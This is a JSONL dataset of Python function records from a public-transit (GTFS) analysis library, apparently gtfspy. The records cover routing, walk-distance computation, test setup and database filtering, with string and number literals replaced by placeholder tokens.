{"signature": "def _temporal_distance_pdf(self):", "body": "temporal_distance_split_points_ordered, norm_cdf = self.profile_block_analyzer._temporal_distance_cdf()<EOL>delta_peak_loc_to_probability_mass = {}<EOL>non_delta_peak_split_points = [temporal_distance_split_points_ordered[<NUM_LIT:0>]]<EOL>non_delta_peak_densities = []<EOL>for i in range(<NUM_LIT:0>, len(temporal_distance_split_points_ordered) - <NUM_LIT:1>):<EOL><INDENT>left = temporal_distance_split_points_ordered[i]<EOL>right = temporal_distance_split_points_ordered[i + <NUM_LIT:1>]<EOL>width = right - left<EOL>prob_mass = norm_cdf[i + <NUM_LIT:1>] - norm_cdf[i]<EOL>if width == <NUM_LIT:0.0>:<EOL><INDENT>delta_peak_loc_to_probability_mass[left] = prob_mass<EOL><DEDENT>else:<EOL><INDENT>non_delta_peak_split_points.append(right)<EOL>non_delta_peak_densities.append(prob_mass / float(width))<EOL><DEDENT><DEDENT>assert (len(non_delta_peak_densities) == len(non_delta_peak_split_points) - <NUM_LIT:1>)<EOL>return numpy.array(non_delta_peak_split_points),numpy.array(non_delta_peak_densities),delta_peak_loc_to_probability_mass<EOL>", "docstring": "Temporal distance probability density function.\n\nReturns\n-------\nnon_delta_peak_split_points: numpy.array\nnon_delta_peak_densities: numpy.array\n    len(density) == len(temporal_distance_split_points_ordered) -1\ndelta_peak_loc_to_probability_mass : dict", "id": "f12899:c0:m16"}
{"signature": "def __init__(self,<EOL>transit_events,<EOL>target_stop,<EOL>start_time=None,<EOL>end_time=None,<EOL>transfer_margin=<NUM_LIT:0>,<EOL>walk_network=None,<EOL>walk_speed=<NUM_LIT>,<EOL>verbose=False):", "body": "AbstractRoutingAlgorithm.__init__(self)<EOL>self._target = target_stop<EOL>self._transit_connections = transit_events<EOL>if start_time is None:<EOL><INDENT>start_time = transit_events[-<NUM_LIT:1>].departure_time<EOL><DEDENT>if end_time is None:<EOL><INDENT>end_time = transit_events[<NUM_LIT:0>].departure_time<EOL><DEDENT>self._start_time = start_time<EOL>self._end_time = end_time<EOL>self._transfer_margin = transfer_margin<EOL>if walk_network is None:<EOL><INDENT>walk_network = networkx.Graph()<EOL><DEDENT>self._walk_network = walk_network<EOL>self._walk_speed = float(walk_speed)<EOL>self._verbose = verbose<EOL>self.__trip_min_arrival_time = defaultdict(lambda: float(\"<STR_LIT>\"))<EOL>self._stop_profiles = defaultdict(lambda: NodeProfileC())<EOL>self._stop_profiles[self._target] = NodeProfileC(<NUM_LIT:0>)<EOL>if target_stop in walk_network.nodes():<EOL><INDENT>for target_neighbor in walk_network.neighbors(target_stop):<EOL><INDENT>edge_data = walk_network.get_edge_data(target_neighbor, target_stop)<EOL>walk_duration = edge_data[\"<STR_LIT>\"] / self._walk_speed<EOL>self._stop_profiles[target_neighbor] = NodeProfileC(walk_duration)<EOL><DEDENT><DEDENT>pseudo_connection_set = compute_pseudo_connections(transit_events, self._start_time, self._end_time,<EOL>self._transfer_margin, self._walk_network,<EOL>self._walk_speed)<EOL>self._pseudo_connections = list(pseudo_connection_set)<EOL>self._all_connections = self._pseudo_connections + self._transit_connections<EOL>self._all_connections.sort(key=lambda connection: -connection.departure_time)<EOL>", "docstring": "Parameters\n----------\ntransit_events: list[Connection]\n    events are assumed to be ordered in DECREASING departure_time (!)\ntarget_stop: int\n    index of the target stop\nstart_time : int, optional\n    start time in unixtime seconds\nend_time: int, optional\n    end time in unixtime seconds (no connections will be scanned after this time)\ntransfer_margin: int, optional\n    required extra margin required for transfers in seconds\nwalk_speed: float, optional\n    walking speed between stops in meters / second.\nwalk_network: networkx.Graph, optional\n    each edge should have the walking distance as a data attribute (\"distance_shape\") expressed in meters\nverbose: boolean, optional\n    whether to print out progress", "id": "f12900:c0:m0"}
{"signature": "@property<EOL><INDENT>def stop_profiles(self):<DEDENT>", "body": "assert self._has_run<EOL>return self._stop_profiles<EOL>", "docstring": "Returns\n-------\n_stop_profiles : dict[int, NodeProfileSimple]\n    The pareto tuples necessary.", "id": "f12900:c0:m2"}
{"signature": "def __init__(self, labels, start_time_dep, end_time_dep, walk_duration=float('<STR_LIT>'), label_props_to_consider=None, **kwargs):", "body": "for label in labels:<EOL><INDENT>assert (hasattr(label, \"<STR_LIT>\"))<EOL>assert (hasattr(label, \"<STR_LIT>\"))<EOL><DEDENT>self.start_time_dep = start_time_dep<EOL>self.end_time_dep = end_time_dep<EOL>self.walk_duration = walk_duration<EOL>if label_props_to_consider is None:<EOL><INDENT>self.label_props = []<EOL><DEDENT>else:<EOL><INDENT>self.label_props = label_props_to_consider<EOL><DEDENT>self._fastest_path_labels = self._compute_fastest_path_labels(labels)<EOL>for label in self._fastest_path_labels:<EOL><INDENT>for prop in self.label_props:<EOL><INDENT>assert (hasattr(label, prop))<EOL><DEDENT><DEDENT>self.kwargs = kwargs<EOL>", "docstring": "Parameters\n----------\nlabels: list\n    List of labels (each label should at least have attributes \"departure_time\" and \"arrival_time\")\nwalk_duration: float\n    What is the maximum duration for a journey to be considered.\nlabel_props_to_consider: list", "id": "f12901:c0:m0"}
{"signature": "def get_time_analyzer(self):", "body": "return NodeProfileAnalyzerTime(self._fastest_path_labels,<EOL>self.walk_duration,<EOL>self.start_time_dep,<EOL>self.end_time_dep)<EOL>", "docstring": "Returns\n-------\nNodeProfileAnalyzerTime", "id": "f12901:c0:m5"}
{"signature": "def get_prop_analyzer_flat(self, property, value_no_next_journey, value_cutoff):", "body": "kwargs = self.kwargs<EOL>fp_blocks = self.get_fastest_path_temporal_distance_blocks()<EOL>prop_blocks = []<EOL>for b in fp_blocks:<EOL><INDENT>if b.is_flat():<EOL><INDENT>if b.distance_end == self.walk_duration and b.distance_end != float('<STR_LIT>'):<EOL><INDENT>prop_value = value_cutoff<EOL><DEDENT>else:<EOL><INDENT>prop_value = value_no_next_journey<EOL><DEDENT><DEDENT>else:<EOL><INDENT>prop_value = b[property]<EOL><DEDENT>prop_block = ProfileBlock(b.start_time, b.end_time, prop_value, prop_value)<EOL>prop_blocks.append(prop_block)<EOL><DEDENT>return ProfileBlockAnalyzer(prop_blocks, **kwargs)<EOL>", "docstring": "Get a journey property analyzer, where each journey is weighted by the number of.\n\nParameters\n----------\nproperty: string\n    Name of the property, needs to be one of label_props given on initialization.\nvalue_no_next_journey:\n    Value of the profile, when there is no next journey available.\nvalue_cutoff: number\n    default value of the property when cutoff is applied\n\nReturns\n-------\nProfileBlockAnalyzer", "id": "f12901:c0:m9"}
{"signature": "def compute_pseudo_connections(transit_connections, start_time_dep,<EOL>end_time_dep, transfer_margin,<EOL>walk_network, walk_speed):", "body": "<EOL>pseudo_connection_set = set()  <EOL>for c in transit_connections:<EOL><INDENT>if start_time_dep <= c.departure_time <= end_time_dep:<EOL><INDENT>walk_arr_stop = c.departure_stop<EOL>walk_arr_time = c.departure_time - transfer_margin<EOL>for _, walk_dep_stop, data in walk_network.edges(nbunch=[walk_arr_stop], data=True):<EOL><INDENT>walk_dep_time = walk_arr_time - data['<STR_LIT>'] / float(walk_speed)<EOL>if walk_dep_time > end_time_dep or walk_dep_time < start_time_dep:<EOL><INDENT>continue<EOL><DEDENT>pseudo_connection = Connection(walk_dep_stop,<EOL>walk_arr_stop,<EOL>walk_dep_time,<EOL>walk_arr_time,<EOL>Connection.WALK_TRIP_ID,<EOL>Connection.WALK_SEQ,<EOL>is_walk=True)<EOL>pseudo_connection_set.add(pseudo_connection)<EOL><DEDENT><DEDENT><DEDENT>return pseudo_connection_set<EOL>", "docstring": "Given a set of transit events and the static walk network,\n\"transform\" the static walking network into a set of \"pseudo-connections\".\n\nAs a first approximation, we add pseudo-connections to depart after each arrival of a transit connection\nto it's arrival stop.\n\nParameters\n----------\ntransit_connections: list[Connection]\nstart_time_dep : int\n    start time in unixtime seconds\nend_time_dep: int\n    end time in unixtime seconds (no new connections will be scanned after this time)\ntransfer_margin: int\n    required extra margin required for transfers in seconds\nwalk_speed: float\n    walking speed between stops in meters / second\nwalk_network: networkx.Graph\n    each edge should have the walking distance as a data attribute (\"d_walk\") expressed in meters\n\nReturns\n-------\npseudo_connections: set[Connection]", "id": "f12902:m0"}
{"signature": "def add_walk_distances_to_db_python(gtfs, osm_path, cutoff_distance_m=<NUM_LIT:1000>):", "body": "if isinstance(gtfs, str):<EOL><INDENT>gtfs = GTFS(gtfs)<EOL><DEDENT>assert (isinstance(gtfs, GTFS))<EOL>print(\"<STR_LIT>\")<EOL>walk_network = create_walk_network_from_osm(osm_path)<EOL>print(\"<STR_LIT>\")<EOL>stop_I_to_nearest_osm_node, stop_I_to_nearest_osm_node_distance = match_stops_to_nodes(gtfs, walk_network)<EOL>transfers = gtfs.get_straight_line_transfer_distances()<EOL>from_I_to_to_stop_Is = {stop_I: set() for stop_I in stop_I_to_nearest_osm_node}<EOL>for transfer_tuple in transfers.itertuples():<EOL><INDENT>from_I = transfer_tuple.from_stop_I<EOL>to_I = transfer_tuple.to_stop_I<EOL>from_I_to_to_stop_Is[from_I].add(to_I)<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>for from_I, to_stop_Is in from_I_to_to_stop_Is.items():<EOL><INDENT>from_node = stop_I_to_nearest_osm_node[from_I]<EOL>from_dist = stop_I_to_nearest_osm_node_distance[from_I]<EOL>shortest_paths = networkx.single_source_dijkstra_path_length(walk_network,<EOL>from_node,<EOL>cutoff=cutoff_distance_m - from_dist,<EOL>weight=\"<STR_LIT>\")<EOL>for to_I in to_stop_Is:<EOL><INDENT>to_distance = stop_I_to_nearest_osm_node_distance[to_I]<EOL>to_node = stop_I_to_nearest_osm_node[to_I]<EOL>osm_distance = shortest_paths.get(to_node, float('<STR_LIT>'))<EOL>total_distance = from_dist + osm_distance + to_distance<EOL>from_stop_I_transfers = transfers[transfers['<STR_LIT>'] == from_I]<EOL>straigth_distance = from_stop_I_transfers[from_stop_I_transfers[\"<STR_LIT>\"] == to_I][\"<STR_LIT:d>\"].values[<NUM_LIT:0>]<EOL>assert (straigth_distance < total_distance + <NUM_LIT:2>)  <EOL>if total_distance <= cutoff_distance_m:<EOL><INDENT>gtfs.conn.execute(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" + str(int(total_distance)) +<EOL>\"<STR_LIT>\" + str(from_I) + \"<STR_LIT>\" + str(to_I))<EOL><DEDENT><DEDENT><DEDENT>gtfs.conn.commit()<EOL>", "docstring": "Computes the walk paths between stops, and updates these to the gtfs database.\n\nParameters\n----------\ngtfs: gtfspy.GTFS or str\n    A GTFS object or a string representation.\nosm_path: str\n    path to the OpenStreetMap file\ncutoff_distance_m: number\n    maximum allowed distance in meters\n\nReturns\n-------\nNone\n\nSee Also\n--------\ngtfspy.calc_transfers\ncompute_walk_paths_java", "id": "f12903:m0"}
{"signature": "def match_stops_to_nodes(gtfs, walk_network):", "body": "network_nodes = walk_network.nodes(data=\"<STR_LIT:true>\")<EOL>stop_Is = set(gtfs.get_straight_line_transfer_distances()['<STR_LIT>'])<EOL>stops_df = gtfs.stops()<EOL>geo_index = GeoGridIndex(precision=<NUM_LIT:6>)<EOL>for net_node, data in network_nodes:<EOL><INDENT>geo_index.add_point(GeoPoint(data['<STR_LIT>'], data['<STR_LIT>'], ref=net_node))<EOL><DEDENT>stop_I_to_node = {}<EOL>stop_I_to_dist = {}<EOL>for stop_I in stop_Is:<EOL><INDENT>stop_lat = float(stops_df[stops_df.stop_I == stop_I].lat)<EOL>stop_lon = float(stops_df[stops_df.stop_I == stop_I].lon)<EOL>geo_point = GeoPoint(stop_lat, stop_lon)<EOL>min_dist = float('<STR_LIT>')<EOL>min_dist_node = None<EOL>search_distances_m = [<NUM_LIT>, <NUM_LIT>]<EOL>for search_distance_m in search_distances_m:<EOL><INDENT>for point, distance in geo_index.get_nearest_points(geo_point, search_distance_m, \"<STR_LIT>\"):<EOL><INDENT>if distance < min_dist:<EOL><INDENT>min_dist = distance * <NUM_LIT:1000><EOL>min_dist_node = point.ref<EOL><DEDENT><DEDENT>if min_dist_node is not None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if min_dist_node is None:<EOL><INDENT>warn(\"<STR_LIT>\" + str(stops_df[stops_df.stop_I == stop_I]))<EOL><DEDENT>stop_I_to_node[stop_I] = min_dist_node<EOL>stop_I_to_dist[stop_I] = min_dist<EOL><DEDENT>return stop_I_to_node, stop_I_to_dist<EOL>", "docstring": "Parameters\n----------\ngtfs : a GTFS object\nwalk_network : networkx.Graph\n\nReturns\n-------\nstop_I_to_node: dict\n    maps stop_I to closest walk_network node\nstop_I_to_dist: dict\n    maps stop_I to the distance to the closest walk_network node", "id": "f12903:m1"}
{"signature": "def compute_walk_paths_java(gtfs_db_path, osm_file, cache_db=None):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Parameters\n----------\ngtfs_db_path: str (path to the gtfs database)\nosm_file: str\ncache_db: str\n\nReturns\n-------\nNone", "id": "f12903:m3"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "cls.gtfs_source_dir = os.path.join(os.path.dirname(__file__), \"<STR_LIT>\")<EOL>cls.G = GTFS.from_directory_as_inmemory_db(cls.gtfs_source_dir)<EOL>", "docstring": "This method is run once before executing any tests", "id": "f12904:c0:m0"}
{"signature": "def setUp(self):", "body": "self.gtfs_source_dir = self.__class__.gtfs_source_dir<EOL>self.gtfs = self.__class__.G<EOL>self.extract_output_dir = os.path.join(self.gtfs_source_dir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>if not os.path.exists(self.extract_output_dir):<EOL><INDENT>makedirs(self.extract_output_dir)<EOL><DEDENT>", "docstring": "This method is run once before _each_ test method is executed", "id": "f12904:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "cls.gtfs_source_dir = os.path.join(os.path.dirname(__file__), \"<STR_LIT>\")<EOL>cls.G = GTFS.from_directory_as_inmemory_db(cls.gtfs_source_dir)<EOL>", "docstring": "This method is run once before executing any tests", "id": "f12905:c0:m0"}
{"signature": "def setUp(self):", "body": "self.gtfs = GTFS.from_directory_as_inmemory_db(self.gtfs_source_dir)<EOL>", "docstring": "This method is run once before _each_ test method is executed", "id": "f12905:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def setup_class(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "This method is run once for each class before any tests are run", "id": "f12907:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def teardown_class(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "This method is run once for each class _after_ all tests are run", "id": "f12907:c0:m1"}
{"signature": "def setUp(self):", "body": "self.conn = sqlite3.connect('<STR_LIT>')<EOL>self.agencyText ='<STR_LIT>''<STR_LIT>'<EOL>self.stopsText ='<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'<EOL>self.calendarText ='<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'<EOL>self.calendarDatesText ='<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'<EOL>self.tripText =\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.routesText =\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.shapeText =\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.stopTimesText =\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.frequenciesText =\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.transfersText =\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.feedInfoText =\"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.fdict = {<EOL>'<STR_LIT>':           self.agencyText,<EOL>'<STR_LIT>':            self.stopsText,<EOL>'<STR_LIT>':         self.calendarText,<EOL>'<STR_LIT>':   self.calendarDatesText,<EOL>'<STR_LIT>':            self.tripText,<EOL>'<STR_LIT>':           self.routesText,<EOL>'<STR_LIT>':           self.shapeText,<EOL>'<STR_LIT>':       self.stopTimesText,<EOL>'<STR_LIT>':      self.frequenciesText,<EOL>'<STR_LIT>':        self.transfersText,<EOL>'<STR_LIT>':        self.feedInfoText<EOL>}<EOL>self.orig_row_factory = self.conn.row_factory<EOL>", "docstring": "This method is run once before _each_ test method is executed", "id": "f12907:c0:m3"}
{"signature": "def printTable(self, table_name):", "body": "prev_row_factory = self.setRowConn()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" + table_name)<EOL>print(\"<STR_LIT>\")<EOL>cur = self.conn.execute(\"<STR_LIT>\" % table_name)<EOL>names = [d[<NUM_LIT:0>] for d in cur.description]<EOL>for name in names:<EOL><INDENT>print(name + '<STR_LIT:U+002CU+0020>', end=\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>for row in cur:<EOL><INDENT>print(row)<EOL><DEDENT>self.conn.row_factory = prev_row_factory<EOL>", "docstring": "Pretty prints a table with name table_name.\n\nParameters\n----------\ntable_name : str\n    name of the table", "id": "f12907:c0:m6"}
{"signature": "def tearDown(self):", "body": "pass<EOL>", "docstring": "This method is run once after _each_ test method is executed", "id": "f12907:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "cls.gtfs_source_dir = os.path.join(os.path.dirname(__file__), \"<STR_LIT>\")<EOL>cls.G = GTFS.from_directory_as_inmemory_db(cls.gtfs_source_dir)<EOL>", "docstring": "This method is run once before executing any tests", "id": "f12909:c0:m0"}
{"signature": "def setUp(self):", "body": "self.gtfs = GTFS.from_directory_as_inmemory_db(self.gtfs_source_dir)<EOL>", "docstring": "This method is run once before _each_ test method is executed", "id": "f12909:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "cls.gtfs_source_dir = os.path.join(os.path.dirname(__file__), \"<STR_LIT>\")<EOL>cls.G = GTFS.from_directory_as_inmemory_db(cls.gtfs_source_dir)<EOL>", "docstring": "This method is run once before executing any tests", "id": "f12911:c0:m0"}
{"signature": "def setUp(self):", "body": "self.gtfs_source_dir = self.__class__.gtfs_source_dir<EOL>self.gtfs = self.__class__.G<EOL>", "docstring": "This method is run once before _each_ test method is executed", "id": "f12911:c0:m1"}
{"signature": "def tearDown(self):", "body": "pass<EOL>", "docstring": "This method is run once after _each_ test method is executed", "id": "f12911:c0:m2"}
{"signature": "def remove_all_trips_fully_outside_buffer(db_conn, center_lat, center_lon, buffer_km, update_secondary_data=True):", "body": "distance_function_str = add_wgs84_distance_function_to_db(db_conn)<EOL>stops_within_buffer_query_sql = \"<STR_LIT>\" + distance_function_str +\"<STR_LIT>\".format(lat=float(center_lat), lon=float(center_lon), d_m=int(<NUM_LIT:1000>*buffer_km))<EOL>select_all_trip_Is_where_stop_I_is_within_buffer_sql = \"<STR_LIT>\" + stops_within_buffer_query_sql + \"<STR_LIT:)>\"<EOL>trip_Is_to_remove_sql = \"<STR_LIT>\" + select_all_trip_Is_where_stop_I_is_within_buffer_sql + \"<STR_LIT:)>\"<EOL>trip_Is_to_remove = pandas.read_sql(trip_Is_to_remove_sql, db_conn)[\"<STR_LIT>\"].values<EOL>trip_Is_to_remove_string = \"<STR_LIT:U+002C>\".join([str(trip_I) for trip_I in trip_Is_to_remove])<EOL>remove_all_trips_fully_outside_buffer_sql = \"<STR_LIT>\" + trip_Is_to_remove_string + \"<STR_LIT:)>\"<EOL>remove_all_stop_times_where_trip_I_fully_outside_buffer_sql = \"<STR_LIT>\" + trip_Is_to_remove_string  + \"<STR_LIT:)>\"<EOL>db_conn.execute(remove_all_trips_fully_outside_buffer_sql)<EOL>db_conn.execute(remove_all_stop_times_where_trip_I_fully_outside_buffer_sql)<EOL>delete_stops_not_in_stop_times_and_not_as_parent_stop(db_conn)<EOL>db_conn.execute(DELETE_ROUTES_NOT_PRESENT_IN_TRIPS_SQL)<EOL>db_conn.execute(DELETE_SHAPES_NOT_REFERENCED_IN_TRIPS_SQL)<EOL>db_conn.execute(DELETE_DAYS_ENTRIES_NOT_PRESENT_IN_TRIPS_SQL)<EOL>db_conn.execute(DELETE_DAY_TRIPS2_ENTRIES_NOT_PRESENT_IN_TRIPS_SQL)<EOL>db_conn.execute(DELETE_CALENDAR_ENTRIES_FOR_NON_REFERENCE_SERVICE_IS_SQL)<EOL>db_conn.execute(DELETE_CALENDAR_DATES_ENTRIES_FOR_NON_REFERENCE_SERVICE_IS_SQL)<EOL>db_conn.execute(DELETE_FREQUENCIES_ENTRIES_NOT_PRESENT_IN_TRIPS)<EOL>db_conn.execute(DELETE_AGENCIES_NOT_REFERENCED_IN_ROUTES_SQL)<EOL>if update_secondary_data:<EOL><INDENT>update_secondary_data_copies(db_conn)<EOL><DEDENT>", "docstring": "Not used in the regular filter process for the time being.\n\nParameters\n----------\ndb_conn: sqlite3.Connection\n    connection to the GTFS object\ncenter_lat: float\ncenter_lon: float\nbuffer_km: float", "id": "f12919:m2"}
{"signature": "def remove_dangling_shapes(db_conn):", "body": "db_conn.execute(DELETE_SHAPES_NOT_REFERENCED_IN_TRIPS_SQL)<EOL>SELECT_MIN_MAX_SHAPE_BREAKS_BY_TRIP_I_SQL =\"<STR_LIT>\"<EOL>trip_min_max_shape_seqs= pandas.read_sql(SELECT_MIN_MAX_SHAPE_BREAKS_BY_TRIP_I_SQL, db_conn)<EOL>rows = []<EOL>for row in trip_min_max_shape_seqs.itertuples():<EOL><INDENT>shape_id, min_shape_break, max_shape_break = row.shape_id, row.min_shape_break, row.max_shape_break<EOL>if min_shape_break is None or max_shape_break is None:<EOL><INDENT>min_shape_break = float('<STR_LIT>')<EOL>max_shape_break = float('<STR_LIT>')<EOL><DEDENT>rows.append( (shape_id, min_shape_break, max_shape_break) )<EOL><DEDENT>DELETE_SQL_BASE = \"<STR_LIT>\"<EOL>db_conn.executemany(DELETE_SQL_BASE, rows)<EOL>remove_dangling_shapes_references(db_conn)<EOL>", "docstring": "Remove dangling entries from the shapes directory.\n\nParameters\n----------\ndb_conn: sqlite3.Connection\n    connection to the GTFS object", "id": "f12919:m3"}
{"signature": "def __init__(self,<EOL>G,<EOL>copy_db_path,<EOL>buffer_distance_km=None,<EOL>buffer_lat=None,<EOL>buffer_lon=None,<EOL>update_metadata=True,<EOL>start_date=None,<EOL>end_date=None,<EOL>agency_ids_to_preserve=None,<EOL>agency_distance=None):", "body": "if start_date and end_date:<EOL><INDENT>if isinstance(start_date, (datetime.datetime, datetime.date)):<EOL><INDENT>self.start_date = start_date.strftime(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.start_date = start_date<EOL><DEDENT>if isinstance(end_date, (datetime.datetime, datetime.date)):<EOL><INDENT>end_date_dt = end_date<EOL>self.end_date = end_date.strftime(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.end_date = end_date<EOL>end_date_dt = datetime.datetime.strptime(self.end_date, \"<STR_LIT>\")<EOL><DEDENT>end_date_to_include = end_date_dt - datetime.timedelta(days=<NUM_LIT:1>)<EOL>self.end_date_to_include_str = end_date_to_include.strftime(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.start_date = None<EOL>self.end_date = None<EOL><DEDENT>self.copy_db_conn = None<EOL>self.copy_db_path = copy_db_path<EOL>self.agency_ids_to_preserve = agency_ids_to_preserve<EOL>self.gtfs = G<EOL>self.buffer_lat = buffer_lat<EOL>self.buffer_lon = buffer_lon<EOL>self.buffer_distance_km = buffer_distance_km<EOL>self.update_metadata = update_metadata<EOL>if agency_distance is not None:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>self.this_db_path = self.gtfs.get_main_database_path()<EOL>assert os.path.exists(self.this_db_path), \"<STR_LIT>\"<EOL>assert os.path.exists(os.path.dirname(os.path.abspath(copy_db_path))),\"<STR_LIT>\"<EOL>assert not os.path.exists(copy_db_path), \"<STR_LIT>\" % copy_db_path<EOL>", "docstring": "Copy a database, and then based on various filters.\nOnly method `create_filtered_copy` is provided as we do not want to take the risk of\nlosing the data stored in the original database.\n\nG: gtfspy.gtfs.GTFS\n    the original database\ncopy_db_path : str\n    path to another database database\nupdate_metadata : boolean, optional\n    whether to update metadata of the feed, defaulting to true\n    (this option is mainly available for testing purposes)\nstart_date : str, or datetime.datetime\n    filter out all data taking place before end_date (the start_time_ut of the end date)\n    Date format \"YYYY-MM-DD\"\n    (end_date_ut is not included after filtering)\nend_date : str, or datetime.datetime\n    Filter out all data taking place after end_date\n    The end_date is not included after filtering.\nagency_ids_to_preserve : iterable\n    List of agency_ids to retain (str) (e.g. 'HSL' for Helsinki)\n    Only routes by the listed agencies are then considered\nagency_distance : float\n    Only evaluated in combination with agency filter.\n    Distance (in km) to the other near-by stops that should be included in addition to\n    the ones defined by the agencies.\n    All vehicle trips going through at least two such stops would then be included in the\n    export. Note that this should not be a recursive thing.\n    Or should it be? :)\nbuffer_lat : float\n    Latitude of the buffer zone center\nbuffer_lon : float\n    Longitude of the buffer zone center\nbuffer_distance : float\n    Distance from the buffer zone center (in kilometers)\n\nReturns\n-------\nNone", "id": "f12919:c0:m0"}
{"signature": "def _delete_rows_by_start_and_end_date(self):", "body": "<EOL>if (self.start_date is not None) and (self.end_date is not None):<EOL><INDENT>start_date_ut = self.gtfs.get_day_start_ut(self.start_date)<EOL>end_date_ut = self.gtfs.get_day_start_ut(self.end_date)<EOL>if self.copy_db_conn.execute(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").fetchone() != (<NUM_LIT:0>,):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>logging.info(\"<STR_LIT>\")<EOL>table_to_preserve_map = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\": '<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>}<EOL>table_to_remove_map = {key: \"<STR_LIT>\" + to_preserve + \"<STR_LIT>\"<EOL>for key, to_preserve in table_to_preserve_map.items() }<EOL>GTFS(self.copy_db_conn).set_current_process_time_zone()<EOL>for table, query_template in table_to_remove_map.items():<EOL><INDENT>param_dict = {\"<STR_LIT>\": str(start_date_ut),<EOL>\"<STR_LIT>\": str(end_date_ut)}<EOL>query = \"<STR_LIT>\" + table + \"<STR_LIT:U+0020>\" +query_template.format(**param_dict)<EOL>self.copy_db_conn.execute(query)<EOL>self.copy_db_conn.commit()<EOL><DEDENT>return FILTERED<EOL><DEDENT>else:<EOL><INDENT>return NOT_FILTERED<EOL><DEDENT>", "docstring": "Removes rows from the sqlite database copy that are out of the time span defined by start_date and end_date\n:param gtfs: GTFS object\n:param copy_db_conn: sqlite database connection\n:param start_date:\n:param end_date:\n:return:", "id": "f12919:c0:m2"}
{"signature": "def _filter_by_calendar(self):", "body": "if (self.start_date is not None) and (self.end_date is not None):<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>start_date_query = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\".format(start_date=self.start_date)<EOL>self.copy_db_conn.execute(start_date_query)<EOL>end_date_query = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\".format(end_date_to_include=self.end_date_to_include_str)<EOL>self.copy_db_conn.execute(end_date_query)<EOL>self.copy_db_conn.execute(DELETE_TRIPS_NOT_IN_DAYS_SQL)<EOL>self.copy_db_conn.execute(DELETE_SHAPES_NOT_REFERENCED_IN_TRIPS_SQL)<EOL>self.copy_db_conn.execute(DELETE_STOP_TIMES_NOT_REFERENCED_IN_TRIPS_SQL)<EOL>delete_stops_not_in_stop_times_and_not_as_parent_stop(self.copy_db_conn)<EOL>self.copy_db_conn.execute(DELETE_STOP_DISTANCE_ENTRIES_WITH_NONEXISTENT_STOPS_SQL)<EOL>self.copy_db_conn.execute(DELETE_ROUTES_NOT_PRESENT_IN_TRIPS_SQL)<EOL>self.copy_db_conn.execute(DELETE_AGENCIES_NOT_REFERENCED_IN_ROUTES_SQL)<EOL>self.copy_db_conn.commit()<EOL>return FILTERED<EOL><DEDENT>else:<EOL><INDENT>return NOT_FILTERED<EOL><DEDENT>", "docstring": "update calendar table's services\n:param copy_db_conn:\n:param start_date:\n:param end_date:\n:return:", "id": "f12919:c0:m4"}
